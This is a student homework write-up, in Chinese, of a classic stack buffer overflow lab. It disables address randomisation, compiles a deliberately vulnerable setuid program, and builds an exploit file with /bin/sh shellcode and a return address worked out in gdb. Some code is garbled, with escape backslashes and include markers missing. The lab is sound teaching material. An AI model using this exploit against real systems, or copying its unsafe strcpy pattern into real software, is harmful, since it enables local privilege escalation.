2019-2020-1 20199328《Linux内核原理与分析》第十二周作业

缓冲区溢出

2019/12/4 11:33:45

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首先是安装一些用于编译的32位C程序e148
$ sudo apt-get update

$ sudo apt-get install -y lib32z1 libc6-dev-i386

$ sudo apt-get install -y lib32readline-gplv2-dev

关闭地址随机化

$ sudo sysctl -w kernel.randomize_va_space=0

设置zsh文件

$ sudo su

$ cd /bin

$ rm sh

$ ln -s zsh sh

$ exit

进入linux32位系统并进入/bin/bash

linux32
cd /bin/bash

在/tmp下键一个stack.c

$ cd /tmp
$ vi stack.c

输入内容：

/* stack.c */

/* This program has a buffer overflow vulnerability. /
/ Our task is to exploit this vulnerability */

include <stdlib.h>

include <stdio.h>

include <string.h>

int bof(char *str)
{
char buffer[12];

/* The following statement has a buffer overflow problem */ 
strcpy(buffer, str);

return 1;
}

int main(int argc, char **argv)
{
char str[517];
FILE *badfile;

badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);

printf("Returned Properly
");
return 1;
}

编译该程序，并设置 SET-UID

 $ sudo su

$ gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c

$ chmod u+s stack

$ exit

在 /tmp 目录下新建一个 exploit.c 文件，输入如下内容：

/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[] =
"x31xc0" //xorl %eax,%eax
"x50" //pushl %eax
"x68""//sh" //pushl $0x68732f2f
"x68""/bin" //pushl $0x6e69622f
"x89xe3" //movl %esp,%ebx
"x50" //pushl %eax
"x53" //pushl %ebx
"x89xe1" //movl %esp,%ecx
"x99" //cdq
"xb0x0b" //movb $0x0b,%al
"xcdx80" //int $0x80
;

void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;

/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);

/* You need to fill the buffer with appropriate contents here */
strcpy(buffer,"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x??x??x??x??");   //在buffer特定偏移处起始的四个字节覆盖sellcode地址  
strcpy(buffer + 100, shellcode);   //将shellcode拷贝至buffer，偏移量设为了 100

/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}

gdb 调试
$ gdb stack

$ disass main

计算 shellcode 的地址为 0xffffd2d0(十六进制) + 0x64(100的十六进制) = 0xffffd334(十六进制)

现在修改exploit.c文件！将 x??x??x??x?? 修改为 x34xd3xffxff

先运行攻击程序 exploit，再运行漏洞程序 stack，观察结果：